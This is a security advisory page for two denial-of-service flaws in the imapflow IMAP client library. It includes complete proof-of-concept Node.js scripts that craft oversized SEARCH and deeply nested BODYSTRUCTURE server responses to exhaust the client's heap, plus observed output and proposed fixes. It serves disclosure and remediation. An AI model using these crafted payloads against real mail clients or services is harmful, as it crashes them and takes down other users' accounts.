
Cloud Vulnerability DB
A community-led vulnerabilities database
GHSA-q347-wc7v-rfx2 (fixed in 2.5.9) hardened ImapFlow's response tokenizer against a hostile server whose responses cost far more to parse than their wire size, adding the maxResponseTokens cap. Two server-controlled result paths run OUTSIDE that tokenizer and are not bounded by it; each lets a single response allocate hundreds of MB to GB of heap and abort a memory-limited client with an uncatchable JavaScript heap out of memory:
readSearchNumbers), which the 2.5.9 fix deliberately routed around the tokenizer and which has no element cap; andparseBodystructure), whose per-node O(depth) part-numbering is not bounded by the token cap.
Both require only an ordinary .search() or .fetch() and a crafted server answer. Reproduced on the current latest, imapflow 2.11.0. (AI-assisted research; every claim verified by me against 2.11.0.)The attacker controls the IMAP server the application connects to — a hostile or compromised server, a malicious account in a multi-account / shared-process service (email importer, migration tool, or an EmailEngine-style host where a user supplies their own IMAP host), or a network man-in-the-middle on a cleartext IMAP connection. They need NO credentials and NO privileged access to the application or its configuration — only the ability to return crafted responses to the client's own SEARCH/UID SEARCH and FETCH commands. Default ImapFlow options; no unusual configuration is required.
The application calls the public, ubiquitous client.search(...) or client.fetch(...) on a connection to an attacker-influenced IMAP server. The server's answer flows through ImapFlow's public response stream, parser and formatter exactly as on a live connection.
* SEARCH 1 1 1 … line. readSearchNumbers builds the whole numbers array before the tokenizer, with no element cap — bounded only by maxLineLength (default 1 GB). maxResponseTokens (the parent advisory's own recommended mitigation) has no effect here, and the SEARCH handler's EXPANDED_RANGE_LIMIT is applied only AFTER the full array is materialized.* n FETCH (BODYSTRUCTURE …) crafted ~1.7 MB payload (≈900k empty parts nested ~95 deep). parseBodystructure spends node-count × depth that the token cap does not bound, allocating ~0.5 GB and blocking the event loop.
Prerequisites: default options; the app issues an ordinary SEARCH or FETCH (near-universal in any IMAP client). Security boundary crossed: a hostile/compromised server — or a network attacker on cleartext — crashes the trusting client, the exact trust boundary GHSA-q347 established, via two result paths its tokenizer-scoped fix did not cover. In a shared-process service one malicious account takes down every other account served by the same process.Both PoCs are offline (no network): the exact bytes a malicious server returns are fed through ImapFlow's own public parser/framer. exit 134 is V8's fatal out-of-memory.
FINDING 1 — SEARCH fast-path:
npm i imapflow@2.11.0 && node poc-search.js// poc-search.js
const { parser } = require('imapflow/lib/handler/imap-handler.js');
const { spawnSync } = require('node:child_process');
const N = 40_000_000; // ~76 MB SEARCH line
const HEAP = '--max-old-space-size=256';
if (process.argv[2] === '--worker') {
const kind = process.argv[3], opts = process.argv[4] ? JSON.parse(process.argv[4]) : {};
const line = kind === 'search'
? Buffer.from('* SEARCH' + ' 1'.repeat(N))
: Buffer.from('* 1 FETCH (A' + ' A'.repeat(N) + ')');
parser(line, opts)
.then(p => console.log(` -> OK numbers=${p.numbers ? p.numbers.length : '-'}`))
.catch(e => console.log(` -> refused ${e.code || e.name} (bounded)`));
return;
}
function child(kind, opts) {
const r = spawnSync(process.execPath, [HEAP, __filename, '--worker', kind, JSON.stringify(opts||{})], { encoding: 'utf8' });
process.stdout.write(r.stdout || '');
if (r.status === 134 || /heap out of memory/i.test(r.stderr||'')) console.log(` -> FATAL: heap out of memory (exit ${r.status})`);
}
(async () => {
const ok = await parser(Buffer.from('* SEARCH 2 5 9 13 21'), {});
console.log(`1. benign SEARCH numbers=${ok.numbers.length}`);
console.log(`2. ${N} atoms via tokenizer (default):`); child('atoms', {});
console.log(`3. ${N} numbers in ONE SEARCH line (default):`); child('search', {});
console.log(`4. maxResponseTokens=1000 (q347's knob):`);
console.log(` a) atoms:`); child('atoms', { maxResponseTokens: 1000 });
console.log(` b) SEARCH:`); child('search', { maxResponseTokens: 1000 });
})();Observed (imapflow 2.11.0, Node v24):
1. benign SEARCH numbers=5
2. 40000000 atoms via tokenizer (default): -> refused TooManyTokens (bounded)
3. 40000000 numbers in ONE SEARCH line: -> FATAL: heap out of memory (exit 134)
4a) atoms maxResponseTokens=1000: -> refused TooManyTokens (bounded)
4b) SEARCH maxResponseTokens=1000: -> FATAL: heap out of memory (exit 134)FINDING 2 — FETCH BODYSTRUCTURE:
npm i imapflow@2.11.0 && node poc-bodystructure.js// poc-bodystructure.js
const path = require('path');
const BASE = path.join(require.resolve('imapflow/package.json'), '../dist/cjs/');
const { ImapStream } = require(BASE + 'handler/imap-stream.js');
const { parser } = require(BASE + 'handler/imap-handler.js');
const { formatMessageResponse } = require(BASE + 'tools.js');
const { spawnSync } = require('node:child_process');
const HEAP = '--max-old-space-size=256';
function craft(depth, width) {
let bs = '(' + '()'.repeat(width) + ' "mixed")';
for (let d = 0; d < depth; d++) bs = '(' + bs + ' "mixed")';
return Buffer.from('* 1 FETCH (BODYSTRUCTURE ' + bs + ')\r\n');
}
function serverToClient(bytes) {
return new Promise((resolve, reject) => {
const s = new ImapStream({}), out = [], pend = [];
s.on('data', item => {
pend.push(parser(item.payload, { literals: item.literals })
.then(p => formatMessageResponse(p, { path: 'INBOX' }, 'md5', null))
.then(m => out.push(m)));
if (typeof item.next === 'function') item.next();
});
s.on('error', reject);
s.on('close', () => Promise.all(pend).then(() => resolve(out), reject));
s.end(bytes);
});
}
if (process.argv[2] === '--worker') {
const [depth, width] = [Number(process.argv[3]), Number(process.argv[4])];
serverToClient(craft(depth, width)).then(m => {
const bs = m[0] && m[0].bodyStructure; let n = 0;
(function c(x){ if(!x) return; n++; (x.childNodes||[]).forEach(c); })(bs);
console.log(` -> OK nodes=${n} rss=${(process.memoryUsage().rss/1048576).toFixed(0)}MB`);
}).catch(e => console.log(` -> ${e.code||e.name}`));
return;
}
function child(d, w) {
const r = spawnSync(process.execPath, [HEAP, __filename, '--worker', d, w], { encoding: 'utf8' });
process.stdout.write(r.stdout || '');
if (r.status === 134 || /heap out of memory/i.test(r.stderr||'')) console.log(` -> FATAL: heap out of memory (exit ${r.status})`);
}
console.log('1. benign:'); child(1, 1);
console.log('2. wide SHALLOW 900k parts depth 2 ~1.7MB:'); child(2, 900000);
console.log('3. CRAFTED deep+wide 900k parts depth 95 SAME:'); child(95, 900000);Observed (imapflow 2.11.0, Node v24):
1. benign: -> OK nodes=3 rss=68MB
2. wide SHALLOW 900k parts depth 2: -> OK nodes=900003 rss=347MB
3. CRAFTED deep+wide depth 95 SAME: -> FATAL: heap out of memory (exit 134)Cases 2 and 3 send the same bytes and the same node count; only nesting depth differs, isolating depth as the amplifier.
Availability / denial of service (CWE-770). A single crafted server response — one oversized * SEARCH 1 1 1 … line, or one * n FETCH (BODYSTRUCTURE …) — aborts the ImapFlow client process with an uncatchable out-of-memory, before the response is even matched to a command. No credentials or unusual options are required; .search() and .fetch() are ubiquitous. Affected: any service that uses ImapFlow to talk to servers it does not fully trust — mail clients, importers, migration tools, multi-account / EmailEngine-style hosts where a user supplies the IMAP host; in those, one malicious account takes down every other account in the same process.
Why this is a security vulnerability, not an ordinary bug: (1) the parent advisory GHSA-q347-wc7v-rfx2 established exactly this hostile-server trust boundary and shipped maxResponseTokens as the mitigation — but that cap is silently ineffective on both of these paths, so an application that applied the advisory's own recommended remediation is still fully exposed; and (2) the SEARCH handler's own documented anti-OOM cap (EXPANDED_RANGE_LIMIT) is defeated by ordering (it runs only after the unbounded array already exists).
Honest severity note: an operator who lowers maxResponseTokens (BODYSTRUCTURE) or maxLineLength (SEARCH) is protected, so real-world severity is Low–Medium. Each fix is small and changes no legitimate result: cap the array in readSearchNumbers at EXPANDED_RANGE_LIMIT (the handler already discards past it); and in parseBodystructure carry the path array by reference / bound the part-number depth.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."